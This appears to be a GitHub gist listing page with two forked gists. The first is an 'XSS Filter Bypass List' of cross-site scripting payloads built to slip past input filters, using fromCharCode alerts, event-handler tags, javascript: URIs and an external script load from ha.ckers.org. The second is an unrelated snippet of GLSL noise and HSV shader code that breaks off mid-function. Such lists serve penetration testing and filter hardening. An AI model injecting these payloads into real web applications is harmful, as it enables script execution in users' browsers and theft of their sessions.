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thatguyjk / xxsfilterbypass.lst
Created September 14, 2021 16:19 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@thatguyjk
thatguyjk / GLSL-Noise.md
Created February 28, 2021 18:42 — forked from patriciogonzalezvivo/GLSL-Noise.md
GLSL Noise Algorithms

Generic 1,2,3 Noise

float rand(float n){return fract(sin(n) * 43758.5453123);}

float noise(float p){
	float fl = floor(p);
  float fc = fract(p);
	return mix(rand(fl), rand(fl + 1.0), fc);
}
float PI = 3.14;
vec3 hsv2rgb(vec3 c)
{
vec4 K = vec4(1.0, 2.0 / 3.0, 1.0 / 3.0, 3.0);
vec3 p = abs(fract(c.xxx + K.xyz) * 6.0 - K.www);
return c.z * mix(K.xxx, clamp(p - K.xxx, 0.0, 1.0), c.y);
}
float smin( float a, float b, float k )
{